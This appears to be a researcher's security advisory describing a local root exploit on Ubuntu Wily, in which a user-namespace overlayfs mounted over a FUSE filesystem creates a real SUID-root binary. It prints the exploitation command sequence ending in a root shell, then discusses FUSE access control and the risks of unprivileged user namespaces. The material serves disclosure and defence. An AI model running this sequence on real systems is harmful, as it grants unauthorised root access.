On Ubuntu Wily it is possible to place an USERNS overlayfs mount over a fuse mount. The fuse filesystem may contain SUID binaries, but those cannot be used to gain privileges due to nosuid mount options. But when touching such an SUID binary via overlayfs mount, this will trigger copy_up including all file attributes, thus creating a real SUID binary on the disk.
Basic exploitation sequence is:
This can be archived, e.g.
test# mkdir fuse test# mv SuidExec RealFile test# ./FuseMinimal fuse test# ./UserNamespaceExec -- /bin/bash root# mkdir mnt upper work root# mount -t overlayfs -o lowerdir=fuse,upperdir=upper,workdir=work overlayfs mnt root# touch mnt/file touch: setting times of ‘mnt/file’: Permission denied root# umount mnt root# exit test# fusermount -u fuse test# ls -al upper/file -rwsr-xr-x 1 root root 9088 Jan 22 09:18 upper/file test# upper/file /bin/bash root# id uid=0(root) gid=100(users) groups=100(users)
In my opinion, fuse filesystem allowed pretending to have files with different UIDs/GIDs in the local mount namespace, but they never had those properties, those files would have, when really stored on local disk. So e.g., the SUID binaries lost their SUID-properties and the owner could also modify arbitrary file content, even if file attributes were pretending, that he does not have access - by having control over the fuse process simulating the filesystem, such access control is futile. That is also the reason, why no other user than the one mounting the filesystem may have rights to access it by default.
Hence the workarounds should be to restrict access to fuse also only to the mount namespace where it was created.
In my opinion, enabing USERNS was a little too fast, as it exposes a lot of additional kernel code to users without any special capabilities in init-ns by using the elevated privileges within the container. This is also recognized by others, but there is dispute on the consequences to draw from that. See Patch to disable unprivileged userns ... on LKML.
I completely second the request to have options to disable the USERNS layer as it depends on the system type, if USERNS is a net gain regarding security or a net loss. It should be a gain on systems, where it allows to perform critical operations within a containment, a use-case where chroots are used currently. Without USERNS, those operations are likely to be performed with SUID helpers in the init-ns or privilege separation might be dropped completely as the overhead is too large for efficient work procedures.
On the other hand, systems where all processes have similar security level, e.g. as they all process the same data, further privilege separation is not easy. The USERNS support will add only new risks here.
Last modified 20171228
Contact e-mail: me (%) halfdog.net